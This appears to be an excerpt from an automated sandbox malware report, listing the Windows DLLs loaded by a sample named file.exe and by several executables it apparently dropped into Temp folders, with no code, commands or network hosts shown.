Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
